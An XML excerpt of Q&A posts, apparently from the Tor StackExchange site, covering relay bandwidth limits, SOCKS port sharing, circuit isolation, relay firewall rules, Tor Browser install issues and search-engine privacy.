  <row Id="10549" PostTypeId="2" ParentId="10522" CreationDate="2016-05-23T22:48:46.783" Score="0" Body="&lt;p&gt;Thanks that you consider running a relay.&#xA;You can edit your &lt;code&gt;torrc&lt;/code&gt; and tell Tor to spend less than 150 GB a month. If this limit is reached Tor goes into some kind of sleep mode and wakes up the next month.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just add the following lines to your configuration:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;AccountingMax 150 GBytes&#xA;AccountingRule sum&#xA;AccountingStart month 12 3:45&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using those lines your Tor process will sum sent and received Bytes up 150 GB and then stop running. Please make sure to add &lt;code&gt;AccountingRule sum&lt;/code&gt;, because the default behavior is to look for the maximum of sent or received Bytes. If you leave out this option, your Tor relay will use rougly 300 GB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;AccountingStart&lt;/code&gt; line tells Tor that an accounting period goes one month and starts at the 12th of the month at 3:45.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2016-05-23T22:48:46.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10550" PostTypeId="1" CreationDate="2016-05-24T00:32:20.157" Score="1" ViewCount="19" Body="&lt;p&gt;My Tor browser was working fine until this last update (5.5.5), ran through the site to download new update, it installed to the point where I'm asked if I want to run the Tor Browser and install desktop and start icons.  Click yes, and boom, I get a box saying that the Tor Browser has quit working and it then gives me an option to check Microsoft online and close, or just close.  Checking Microsoft doesn't do anything and the box just closes and I'm no further along than before.  I tried turning off the WebRoot Security I have, no difference, and also got rid of my MalWareBytes software, thinking that might be causing a problem.  I saw a post about right clicking the file, going to properties, and then unchecking the box about it coming from another computer.  No difference.  Can anyone help?  Using a 32-bit Windows 7 OS with plenty of HD room.&lt;/p&gt;&#xA;" OwnerUserId="12985" LastEditorUserId="88" LastEditDate="2016-05-24T09:56:21.087" LastActivityDate="2016-05-24T09:56:21.087" Title="Tor Browser stops working notice when I try to install new 5.5.5 update" Tags="|tor-browser-bundle|windows|" AnswerCount="0" CommentCount="1" ClosedDate="2016-05-24T09:57:23.467" ContentLicense="CC BY-SA 3.0" />
  <row Id="10553" PostTypeId="5" CreationDate="2016-05-24T13:59:23.653" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://www.torproject.org/docs/pluggable-transports.html.en&quot; rel=&quot;nofollow&quot;&gt;Pluggable Transports&lt;/a&gt; transform Tor (or some other PET) traffic to look more innocuous. They consist of a client, who talks to a server. In Tor, the server then connects to a Tor server, which connects to the Tor network.&lt;/p&gt;&#xA;" OwnerUserId="9411" LastEditorUserId="9411" LastEditDate="2016-05-24T20:09:08.460" LastActivityDate="2016-05-24T20:09:08.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10554" PostTypeId="4" CreationDate="2016-05-24T13:59:23.653" Score="0" Body="Pluggable Transports encapsulate traffic to give it another appearance. They are used to circumvent censorship. Other applications can use them, too. Use this tag for questions concerning the use, configuration, and programming of pluggable transports" OwnerUserId="9411" LastEditorUserId="9411" LastEditDate="2016-05-24T20:09:13.743" LastActivityDate="2016-05-24T20:09:13.743" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10555" PostTypeId="1" CreationDate="2016-05-24T14:50:36.327" Score="0" ViewCount="2993" Body="&lt;p&gt;IMPORTANT QUESTION ABOUT SECURITY -&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anonymity on TOR : DisconnectMe  versus DuckDuckGo&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I know DuckDuckGo doesn't keep yoour data but it doesn't mean you are invisible on Internet when you are searching (you can have someone upon your shoulders)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, the question is : &#xA;DisconnectMe versus DuckDuckGo ? The Tor offer &quot;total anonymity&quot; is still a fact ? Or We must add something to keep the same quality of service (like with disconnectMe) ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks for your answers&#xA;Elis&lt;/p&gt;&#xA;" OwnerUserId="12398" LastActivityDate="2017-01-23T08:38:39.820" Title="Anonymity on TOR : DisconnectMe versus DuckDuckGo" Tags="|tor-browser-bundle|configuration|anonymity|security|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="10556" PostTypeId="1" CreationDate="2016-05-24T17:35:08.753" Score="0" ViewCount="744" Body="&lt;p&gt;Using Ubuntu 16.04 on both machines.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been able to share my VPN IP between devices with an ethernet cable. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The host running VPN and Tor: &#xA;IPv4 Settings: &quot;Shared to other computers&quot;&#xA;IP Address: 10.42.0.1&#xA;Subnet: 255.255.255.0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The client:&#xA;IP Address: 10.42.0.2&#xA;Broadcast Address: 10.42.0.255&#xA;Subnet: 255.255.255.0&#xA;Default Route: 10.42.0.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This configuration works fine for sharing my VPN IP, I'm not clear on how to use the Hosts Tor socksport from the client device.&lt;/p&gt;&#xA;" OwnerUserId="12991" LastActivityDate="2016-10-22T04:48:10.490" Title="Sharing Tor socksport via wired ethernet connection?" Tags="|socks|vpn|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10557" PostTypeId="2" ParentId="10556" CreationDate="2016-05-24T18:00:16.577" Score="0" Body="&lt;p&gt;just state as &lt;code&gt;SockPort &amp;lt;your-LAN-IP-address&amp;gt;:&amp;lt;your-port&amp;gt;&lt;/code&gt; in torrc config and it will open a port. &lt;strong&gt;Don't forget to open a DNSListenAddress on the same IP for proper DNS leak protection&lt;/strong&gt;!&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-05-24T18:00:16.577" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10558" PostTypeId="1" CreationDate="2016-05-24T18:03:02.187" Score="0" ViewCount="15434" Body="&lt;p&gt;I am new to Tor, as soon as i installed and started surfing. The browser started asking me to verify if i was a robot for every new website i access. &#xA;How can i avoid it?&lt;/p&gt;&#xA;" OwnerUserId="12992" LastEditorUserId="88" LastEditDate="2016-05-24T20:03:34.850" LastActivityDate="2016-05-25T02:03:16.757" Title="How do i avoid the &quot;i am not a robot&quot; verification when i open a new website?" Tags="|configuration|browsers|cloudflare|" AnswerCount="1" CommentCount="2" ClosedDate="2016-05-26T06:43:22.153" ContentLicense="CC BY-SA 3.0" />
  <row Id="10559" PostTypeId="1" CreationDate="2016-05-24T18:27:20.580" Score="0" ViewCount="1471" Body="&lt;p&gt;I would like to give each application it's own entry and exit IP. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should I add SOCKSports to the default torrc file or create new tor instances?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$ tor-instance-create instance_name&lt;/p&gt;&#xA;" OwnerUserId="12991" LastActivityDate="2016-05-25T01:02:08.153" Title="What's the best way to isolate applications as they enter the tor network?" Tags="|socks|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10560" PostTypeId="2" ParentId="10542" CreationDate="2016-05-24T19:53:21.457" Score="1" Body="&lt;p&gt;You can send any command over Tor with &lt;code&gt;torify&lt;/code&gt; or &lt;code&gt;torsocks&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;torsocks wget https://path/to/file&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;torify apt-get update&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;torsocks git clone https://path/to/git&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or even ssh, scp or sftp over Tor&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;torsocks ssh user@host&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="107" LastActivityDate="2016-05-24T19:53:21.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10561" PostTypeId="1" CreationDate="2016-05-24T20:02:49.810" Score="1" ViewCount="181" Body="&lt;p&gt;In usual Firefox there is a very convenient (for me) button: Email Link. When I'm clicking it the Thunderbird activates and creates an Email with link on the page in letter body.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the Tor clicking on &quot;Email link&quot; button makes nothing. &#xA;OS Linux (LMDE2). I had placed &lt;code&gt;.thunderbird&lt;/code&gt; in a tor-browser, file but it doesn't help. I also wrote in the menu 'application' way for Thunderbird: &lt;code&gt;/opt/thunderbird/thunderbird&lt;/code&gt; - nothing.&#xA;Is there a way to solve the problem?&lt;/p&gt;&#xA;" OwnerUserId="12994" LastEditorUserId="88" LastEditDate="2016-05-24T20:06:47.087" LastActivityDate="2017-01-20T01:26:50.353" Title="How possible to use &quot;Email Link&quot; button in Tor?" Tags="|firefox|linux|email|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10563" PostTypeId="1" AcceptedAnswerId="10565" CreationDate="2016-05-24T21:50:11.640" Score="1" ViewCount="649" Body="&lt;p&gt;&lt;b&gt;ORPort 9001&lt;/b&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From external from the &lt;b&gt;entry relays&lt;/b&gt; to internal the traffic runs&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;b&gt;inet proto tcp port &gt;1024 to --&gt; port 9001&lt;/b&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;... but, then for my understanding:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How runs the traffic out from here &lt;b&gt;(the middle relay)&lt;/b&gt; to the next exit relay?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Stand on the line right now :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance&lt;/p&gt;&#xA;" OwnerUserId="12963" LastActivityDate="2016-05-25T00:55:18.967" Title="Firewall rules Tor Middle Relay help" Tags="|relays|onion-routing|openbsd|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10564" PostTypeId="2" ParentId="10561" CreationDate="2016-05-24T21:54:19.527" Score="1" Body="&lt;p&gt;By intent Tor Browser won't try to run applications on your local system when links in Tor Browser are clicked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In cases this could lead to the user accidentally contaminating between their identity on Tor Browser and some other identity associated with another application on the system or store some long-term information on the disk that directly links it to a tor browser session, by a malicious actor inserting a &quot;cookie&quot; mailto: URL onto some site, that is uniquely generated per visitor. Worse still, opening the door to the possibility of making various applications handle a URI which would cause them to make network connections to attacker controlled end-points outside of the Tor proxy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more details on what it is designed to achieve the &lt;a href=&quot;https://www.torproject.org/projects/torbrowser/design/&quot; rel=&quot;nofollow&quot;&gt;Tor Browser Design Spec&lt;/a&gt; is a worthwhile read.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-05-24T21:54:19.527" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10565" PostTypeId="2" ParentId="10563" CreationDate="2016-05-24T23:16:34.933" Score="1" Body="&lt;p&gt;All relays must accept all inbound connections to their chosen ORPort and must allow outbound connections to any valid internet-routable address and port combination, as any other internet server on any valid TCP port could be a relay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's worth noting that all relays are potentially valid for all positions, what positions clients use them in is determined by flags that they are given by votes from the Directory Authorities. There are no &quot;guard&quot;, &quot;middle&quot; or &quot;exit&quot; relays.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only position you can effectively opt-out of is the exit, but it's not that you're a &quot;non-exit&quot;, you just have a policy that doesn't allow any exiting.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-05-24T23:16:34.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10566" PostTypeId="2" ParentId="10563" CreationDate="2016-05-25T00:55:18.967" Score="0" Body="&lt;p&gt;You must use &lt;strong&gt;exact&lt;/strong&gt; port number at firewall forwarding rule : Tor announces it's ORPort as a number from config. And if it's behind a firewall - it's ok, it will detect &lt;em&gt;the IP address&lt;/em&gt;, but the port is not detected - it is used &quot;as is&quot;. And you need to forward like this all the ports from your torrc: ORPort, DirPort and bridge port(s) - use same numbers. No extra/temporary ports used, like in FTP for example : only the ones you've specified&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-05-25T00:55:18.967" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10567" PostTypeId="2" ParentId="10559" CreationDate="2016-05-25T01:02:08.153" Score="2" Body="&lt;p&gt;you can utilize a circuit isolation by authenticating them at SOCKS proxy differently, as it is said at &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en&quot; rel=&quot;nofollow&quot;&gt;the manual&lt;/a&gt; :&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;SOCKSPort [address:]port|unix:path|auto [flags] [isolation flags]&#xA;  Open this port to listen for connections from SOCKS-speaking applications. Set this to 0 if you don’t want to allow application connections via SOCKS. Set it to &quot;auto&quot; to have Tor pick a port for you. This directive can be specified multiple times to bind to multiple addresses/ports. (Default: 9050)&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;NOTE: Although this option allows you to specify an IP address other than localhost, you should do so only with extreme caution. The SOCKS protocol is unencrypted and (as we use it) unauthenticated, so exposing it in this way could leak your information to anybody watching your network, and allow anybody to use your computer as an open proxy.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The isolation flags arguments give Tor rules for which streams received on this SOCKSPort are allowed to share circuits with one another. Recognized isolation flags are:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;IsolateClientAddr&#xA;  Don’t share circuits with streams from a different client address. (On by default and strongly recommended; you can disable it with NoIsolateClientAddr.)&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;IsolateSOCKSAuth&#xA;  Don’t share circuits with streams for which different SOCKS authentication was provided. (On by default; you can disable it with NoIsolateSOCKSAuth.)&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;IsolateClientProtocol&#xA;  Don’t share circuits with streams using a different protocol. (SOCKS 4, SOCKS 5, TransPort connections, NATDPort connections, and DNSPort requests are all considered to be different protocols.)&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;IsolateDestPort&#xA;  Don’t share circuits with streams targeting a different destination port.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;IsolateDestAddr&#xA;  Don’t share circuits with streams targeting a different destination address.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;KeepAliveIsolateSOCKSAuth&#xA;  If IsolateSOCKSAuth is enabled, keep alive circuits that have streams with SOCKS authentication set indefinitely.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;SessionGroup=INT&#xA;  If no other isolation rules would prevent it, allow streams on this port to share circuits with streams from every other port with the same session group. (By default, streams received on different SOCKSPorts, TransPorts, etc are always isolated from one another. This option overrides that behavior.)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-05-25T01:02:08.153" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10568" PostTypeId="2" ParentId="10558" CreationDate="2016-05-25T02:03:16.757" Score="1" Body="&lt;p&gt;See: &lt;a href=&quot;https://tor.stackexchange.com/a/10456/12737&quot;&gt;https://tor.stackexchange.com/a/10456/12737&lt;/a&gt; &lt;em&gt;(can't mark as duplicate, no votes or accepted answers. seems a problem with stackexchange and anonymity where people ask with &quot;anonymous&quot; accounts which are discarded. no one comes back to accept the answer once it's answered...)&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.203" LastActivityDate="2016-05-25T02:03:16.757" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10570" PostTypeId="1" CreationDate="2016-05-25T03:36:52.330" Score="1" ViewCount="69" Body="&lt;p&gt;I run an onion pi (a wireless router that redirects all of my traffic over tor, here's a &lt;a href=&quot;https://learn.adafruit.com/onion-pi/overview&quot; rel=&quot;nofollow&quot;&gt;how to&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyways I installed maltrail on my onion pi to see what's going on; found these exit nodes scanning my ports on my onion pi every day.  Just want to warn the community.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://gist.github.com/anonymous/878e28fbe116f92ceac3e8baaeb2c1f3&quot; rel=&quot;nofollow&quot;&gt;https://gist.github.com/anonymous/878e28fbe116f92ceac3e8baaeb2c1f3&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12996" LastActivityDate="2016-05-25T04:05:48.107" Title="Malicious Exit Nodes in network sensor" Tags="|configuration|attacks|" AnswerCount="1" CommentCount="0" ClosedDate="2016-05-25T22:28:09.957" ContentLicense="CC BY-SA 3.0" />
  <row Id="10571" PostTypeId="2" ParentId="10570" CreationDate="2016-05-25T03:53:39.670" Score="1" Body="&lt;p&gt;These aren't scanning your ports, these are your connections to the Tor network. This is your Pi recording that &lt;em&gt;it&lt;/em&gt; is connecting &lt;em&gt;to them&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think this should serve as an example of why blacklisting, especially without knowledge, is harmful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These are your guards, that's why only 3 appear and the ports on their side are always the same. This log shows &lt;em&gt;you&lt;/em&gt; making &lt;em&gt;outbound&lt;/em&gt; connections &lt;em&gt;to&lt;/em&gt; the tor network.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="12737" LastEditDate="2016-05-25T04:05:48.107" LastActivityDate="2016-05-25T04:05:48.107" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10572" PostTypeId="1" CreationDate="2016-05-25T07:48:49.453" Score="2" ViewCount="13303" Body="&lt;p&gt;Since a couple of days ago I cannot use Tor for browsing because DuckDuckgo browser automatically replaces Tor when I start browsing.&lt;/p&gt;&#xA;" OwnerUserId="12998" LastActivityDate="2016-06-16T08:09:03.940" Title="How to get rid of DuckDuckgo browser?" Tags="|tor-browser-bundle|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10574" PostTypeId="1" CreationDate="2016-05-25T13:24:48.463" Score="1" ViewCount="536" Body="&lt;p&gt;I'm trying to configure proxychains to make a port-scan with Nmap, but the file config tells only about SOCKS4 and SOCKS5. &lt;/p&gt;&#xA;" OwnerUserId="12515" LastActivityDate="2017-01-22T07:37:01.600" Title="Is it possible to run Tor with Proxychains using socks4a?" Tags="|socks|proxy|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10575" PostTypeId="2" ParentId="10538" CreationDate="2016-05-25T15:00:29.497" Score="2" Body="&lt;p&gt;it looks a version mismatch/conflict. It happens when you have an old version of package from your OS package manager and a new one installed otherwise in another location&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-05-25T15:00:29.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10577" PostTypeId="2" ParentId="10574" CreationDate="2016-05-25T23:13:25.740" Score="1" Body="&lt;p&gt;Tor provides a SOCKS4a or SOCKS5 compatible proxy, port 9050 is default for a system daemon/service and 9150 for Tor Browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However it will not be compatible with most of nmap's functionality, and you shouldn't be using tor to port scan either. See: &lt;a href=&quot;https://tor.stackexchange.com/questions/10529/is-there-a-way-to-get-portscanning-nmap-to-work-through-whonix&quot;&gt;Is there a way to get portscanning (nmap) to work through Whonix?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="12737" LastEditDate="2016-05-27T03:08:05.820" LastActivityDate="2016-05-27T03:08:05.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10578" PostTypeId="2" ParentId="10269" CreationDate="2016-05-25T23:31:41.813" Score="0" Body="&lt;p&gt;Tor supports use of proxies to connect into the Tor network. Specifically, you can provide an &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en#HTTPSProxy&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;HTTPSProxy&lt;/code&gt;&lt;/a&gt; line and an &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en#HTTPSProxyAuthenticator&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;HTTPSProxyAuthenticator&lt;/code&gt;&lt;/a&gt; to set any login credentials that may be required to use the proxy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're using Tor Browser, this can be configured without any manual editing of the &lt;code&gt;torrc&lt;/code&gt; by selecting the green onion menu (&lt;code&gt;Tor Button&lt;/code&gt;), then selecting &lt;code&gt;Tor Network Settings&lt;/code&gt;. You will be able to select an option to say that a proxy is required for you to access the internet. Once configured Tor Browser will then use the proxy of your choosing to make all of it's connections into the Tor network, anything you use with Tor Browsers SOCKS proxy would then be routed over Tor, via the HTTPS proxy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As was mentioned by Jens, if you want to route all of your operating systems traffic over Tor, the most simple choice for this would be &lt;a href=&quot;https://tails.boum.org/&quot; rel=&quot;nofollow&quot;&gt;Tails&lt;/a&gt;. Similar to Tor Browser, Tails has a &lt;a href=&quot;https://tails.boum.org/doc/first_steps/startup_options/network_configuration/index.en.html&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;Greeter Menu&lt;/code&gt;&lt;/a&gt;, where it is possible to choose any proxy settings that are required. Once you've booted into Tails, you will have access to a user-friendly desktop environment designed around utilising Tor exclusively for network connectivity &lt;em&gt;(all other traffic is dropped to prevent leaks)&lt;/em&gt; and enabling anonymity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To answer a request in one of your comments, there is no currently supported or well tested method to route all traffic for a Windows 10 system over the Tor network outside of some kind of &quot;transproxy&quot; enforcing external device or &quot;tor router&quot;. These are invariably (thus far) sub-optimal and certainly worse than just using Tor Browser. This is because they don't have any context to isolate &quot;streams&quot;, your windows update may end up using exactly the same circuit as your email or web browsing, and thus link your windows installation to other traffic and the host operating system (Windows 10) wasn't designed to improve your privacy or indistinguishability from other users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore many applications and protocols were designed with the naive assumption that internet connections cannot be actively tampered with, they are not resistant to an active network adversary and as such aren't fit for purpose anywhere, but certainly not on the Tor network where the exit can make arbitrary changes to your traffic. &lt;em&gt;(&lt;strong&gt;N.B.&lt;/strong&gt; This is not a problem exclusive to Tor, it's applies to everything on the internet)&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="12737" LastEditDate="2016-05-25T23:54:46.510" LastActivityDate="2016-05-25T23:54:46.510" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10579" PostTypeId="2" ParentId="10555" CreationDate="2016-05-26T01:13:36.717" Score="2" Body="&lt;p&gt;The answer is &quot;Whichever you prefer&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should not blindly trust in privacy policies and promises of not recording IPs. These promises are what is known as &lt;em&gt;&quot;Privacy-by-Policy&quot;&lt;/em&gt;, that is to say: they have a policy or even a law that says your data isn't collected by them and is subject to certain levels of privacy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The flaw is the assumption that policy and the law both are immutable and have been &quot;correctly&quot; interpreted; tomorrow a law might be passed that removes all the protection for your data. Infact we know this not to be the case already. Previous work by the late, great &lt;a href=&quot;https://en.wikipedia.org/wiki/Caspar_Bowden#Works&quot; rel=&quot;nofollow&quot;&gt;Caspar Bowden&lt;/a&gt; shows why these policies are mostly meaningless.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead you should approach requirements of real privacy and anonymity with &lt;em&gt;&quot;Privacy-by-Design&quot;&lt;/em&gt;. You should operate such that you need not put ultimate trust in a single law, policy, or entity to protect you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if you use Tor Browser to search on an arbitrary search provider from a fresh &quot;identity&quot; (e.g. newly started Tor Browser or after use of the &lt;code&gt;New Identity&lt;/code&gt; button) then the provider might log the IP and the search term and your cookies but it would not be able to determine who made the search and infact, all other users using fresh identities would look the same, they could not be distinguished except by what they were searching for. If you made use of &lt;code&gt;New Identity&lt;/code&gt; once you were finished with the first search, then made a second, unrelated query the provider would be unable to meaningfully distinguish between your first search, your second search and the searches of all other Tor Browser users doings the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I should point out that I think we should support and respect all providers like Disconnect, DuckDuckGo and StartPage because while their policies might not be the best protection mechanism for you as a user (they can be seen as a best effort in a hostile environment), these companies are taking steps to allow and encourage anonymous use of their services and supporting the technologies that enable it, and &lt;em&gt;that&lt;/em&gt; is &lt;em&gt;hugely important&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-05-26T01:13:36.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10580" PostTypeId="2" ParentId="10269" CreationDate="2016-05-26T02:05:25.710" Score="0" Body="&lt;p&gt;Full tunnel is achieved by a routing box: use a raspberry pi with linux on it - and utilize a TransPort functionality with IPTables. It will work. With a blocking proxies a pluggable transport like Obfs3/4 and Meek are considerable. Feel free to ask further questions : routing boxes are my speciality&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-05-26T02:05:25.710" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10582" PostTypeId="1" CreationDate="2016-05-26T03:34:59.810" Score="1" ViewCount="21" Body="&lt;p&gt;After downloading Version 5.5.5 - OS X (10.6+) and moving it to applications on my mac book (TorBrowser-5.5.5-osx64en-US.dmg) and verifying I want to open it, my computer prompts &quot;Tor Browser Profile Problem&quot; stating &quot;You cannot run Tor Browser from a read-only file system.  Please copy Tor Browser to your Desktop or Applications folder before trying to use it.&quot;. I have tried moving to desk top and applications but to no avail. My security settings are allowing apps to be downloaded from anywhere. Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="13010" LastActivityDate="2016-05-26T03:34:59.810" Title="My mac book won't run tor after being moved to applications" Tags="|mac|tor-install|" AnswerCount="0" CommentCount="1" ClosedDate="2016-05-27T13:10:28.950" ContentLicense="CC BY-SA 3.0" />
  <row Id="10583" PostTypeId="1" CreationDate="2016-05-26T05:59:01.327" Score="4" ViewCount="495" Body="&lt;p&gt;Is there a way to make the private tor network do not use the simulator, such as shadow or chutney? If possible, do you how can I set up?&lt;/p&gt;&#xA;" OwnerUserId="12511" LastEditorUserId="88" LastEditDate="2016-05-26T07:52:25.117" LastActivityDate="2017-04-24T01:41:05.663" Title="How to set up tor private network without the simulator" Tags="|configuration|network-configuration|private|shadow|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10585" PostTypeId="1" CreationDate="2016-05-26T09:32:43.693" Score="0" ViewCount="68" Body="&lt;p&gt;My college network is secured by Cyberoam. I downloaded TOR but I m not able to set it up . Actually I  don't know what the problem is but I think that Cyberoam has blocked the TOR application. Please help me resolve this problem. Every help is welcome&lt;/p&gt;&#xA;" OwnerUserId="13011" LastActivityDate="2016-05-29T16:22:50.610" Title="I cannot access tor on my network? my network is secured by Cyberoam. Any help?" Tags="|censorship|" AnswerCount="1" CommentCount="0" ClosedDate="2016-05-27T13:13:17.887" ContentLicense="CC BY-SA 3.0" />
  <row Id="10586" PostTypeId="1" AcceptedAnswerId="10587" CreationDate="2016-05-26T10:46:34.223" Score="2" ViewCount="96" Body="&lt;p&gt;I want to see my &lt;b&gt;country&lt;/b&gt; (Austria) with Globe and Atlas!&#xA;What can I do?&lt;/p&gt;&#xA;" OwnerUserId="12963" LastEditorUserId="88" LastEditDate="2016-05-26T11:39:59.520" LastActivityDate="2016-05-26T11:43:27.257" Title="Atlas and Globe shows my country not" Tags="|relays|atlas|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10587" PostTypeId="2" ParentId="10586" CreationDate="2016-05-26T11:43:27.257" Score="4" Body="&lt;p&gt;With &lt;a href=&quot;https://atlas.torproject.org/&quot; rel=&quot;nofollow&quot;&gt;Atlas&lt;/a&gt; you can use the search term &lt;code&gt;country:at&lt;/code&gt; to see only relays from Austria. However if there are more than 40 results Atlas won't show you any results. So you need to refine your search. Example: Search for &lt;a href=&quot;https://atlas.torproject.org/#search/ab%20country:at&quot; rel=&quot;nofollow&quot;&gt;Austrian relays with the additional term &lt;code&gt;ab&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://globe.torproject.org/&quot; rel=&quot;nofollow&quot;&gt;Globe&lt;/a&gt; also allows you to look for a specific country. There is a scroll-down list on top of the page. You can look for &lt;a href=&quot;https://globe.torproject.org/#/search/query=&amp;amp;filters[country]=at&quot; rel=&quot;nofollow&quot;&gt;Austrian relays&lt;/a&gt; and it will show you the first 50 results.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2016-05-26T11:43:27.257" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
